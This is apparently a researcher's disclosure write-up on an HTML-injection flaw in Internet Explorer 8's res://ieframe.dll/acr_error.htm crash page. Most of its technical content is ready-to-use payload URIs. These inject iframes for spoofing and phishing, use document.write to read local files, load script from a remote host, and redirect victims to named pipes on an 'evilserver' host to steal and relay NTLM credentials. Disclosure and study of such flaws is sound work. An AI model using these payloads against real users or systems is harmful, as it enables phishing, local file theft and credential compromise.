Abstract.
In the previous proof of concept where Internet Explorer is vulnerable to a (persistent) denial of service, I noticed that ieframe.dll called a htm file that i was not yet aware of. The file is called the acr_error.htm and it displays the error when a window could not recover from a crash. The acr_screen takes the Uri of the window that crashed, and echoes it back into the HTML of the ieframe.dll, which resides in system32. The echoed Uri is not properly sanitized, and therefore it is possible to conduct many attempts to exploit a remote, or local instance of Internet Explorer and it's underlying operating system. A minimal attack is cross site scripting, executed locally. Further it is also vulnerable to CSRF, and most notably vulnerable to attacking Named Pipes. All material is fully tested in IE8 as well as IE8 in IE7 emulation mode, both seem to be vulnerable in my analysis. The threats are numerous, and are far too many to explain all in detail. The named pipes issue, possess a great risk to a Intranet. Today I only discuss the surface attacks, potential attack methods, and why it could pose a risk.
Injecting HTML.
It is possible to inject HTML in the ieframe.dll through the res:// scheme. The local file acr_error.htm listens for data after the hash. That Javascript file acr.js stored in res://ieframe.dll/acr.js executes it and displays it in the window. This allows us to inject any HTML we wish. See figure 1. where I inject a <h1></h1> attribute into the given Uri.
res://ieframe.dll/acr_error.htm#<h1>foo</h1>,<h1>foo</h1>
Figure 1.
Developer Tools.
IE has a new feature called Developer Tools, similar like Firebug in Mozilla it can be used to analyze the source.This was a great help in analyzing what exactly happens, since the parameter fuzzing could otherwise not be traced since Javascript is being used to dynamically write in the parameter data. Figure 2 shows the developer tool, for brevity it is narrowed down to the preceded injected code.
Figure 2.
We can also make a simple local defacement with this idea by injecting an Iframe that resources a remote file for instance, this can be used for spoofing and phishing as well as XSS & CSRF attacks on a users system.
res://ieframe.dll/acr_error.htm#<iframe/src="http://0x000000.com/"/width="1024"/height="1000"></iframe>,<h1>foo</h1>
By utilizing the ieframe.dll we can retrieve about any file and try to execute it. This can lead to XSS, or execution of local files. In order to successfully exploit it, spaces are not allowed since they are converted to %20 in the Uri, and thus in the source. By using a slash instead, IE and the Gecko engine converts the slash to a single space. That allows us to make use of src, in an iframe for example, or an image or remote Javascript.
Retrieve Local files.
res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<iframe/src=\"file://localhost/test.txt\"></iframe>")'></iframe>,fooUsing script src.
res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<script/src=http://www.0x000000.com/></script>")'></iframe>,fooAbusing Named pipes.
A named pipe is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. And provides a separate conduit for client/server communication. Any process can act as both a server and a client, making peer-to-peer communication possible. Named pipes can be used to provide communication between processes on the same computer or between processes on different computers across a network. If the server service is running, all named pipes are accessible remotely.
The method of abuse of it is known, but still hardly known by many. Microsoft has limited verbatim access to it because it can cause unwanted behavior. They mitigated the file:// and res:// scheme from accessing it, but as I explain here, it is still accessible through our new find. This again shows that Microsoft still depends it's win32 shell, otherwise this wouldn't be possible in the first place. The threats are: Pipe(d) user impersonation, Stealing NTML(SMB) credentials and NTML replay attack, as well as regular XSS and CSRF.
\\ServerName\\pipe\\PipeName
Where ServerName is either the name of a remote computer or a period, to specify the local computer. The pipe name string specified by PipeName can include any character other than a backslash, including numbers and special characters. The entire pipe name string can be up to 256 characters long. Pipe names are not case-sensitive.
The pipe server cannot create a pipe on another computer, so CreateNamedPipe must use a period for the server name, as shown in the following example:
\\.\pipe\PipeName
It should not be possible to connect to a pipe through res:// nor file:// for security reasons. It means that if we can access it, or let a victim access it through CSRF, it can lead to a compromise in several different ways [1]
file:///\\evilserver\pipe\exploit
file:///\\localhost\pipe\exploit
Connecting to a pipe through res:// & file://
res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.location="file://..\\ServerName\\pipe\\PipeName"'></iframe>,foo
Which resolves to:
\\ServerName\\pipe\\PipeName
Conclusion.
It seems to me that Microsoft keeps on making the same flaws. res:// hacking is dangerous, it has been done long before me, and it should really be mitigated in the future. Microsoft has been notified of the issue.
[1] Further Named pipes reference - http://www.514.es/download/Win32.Design.Flaws.pdf
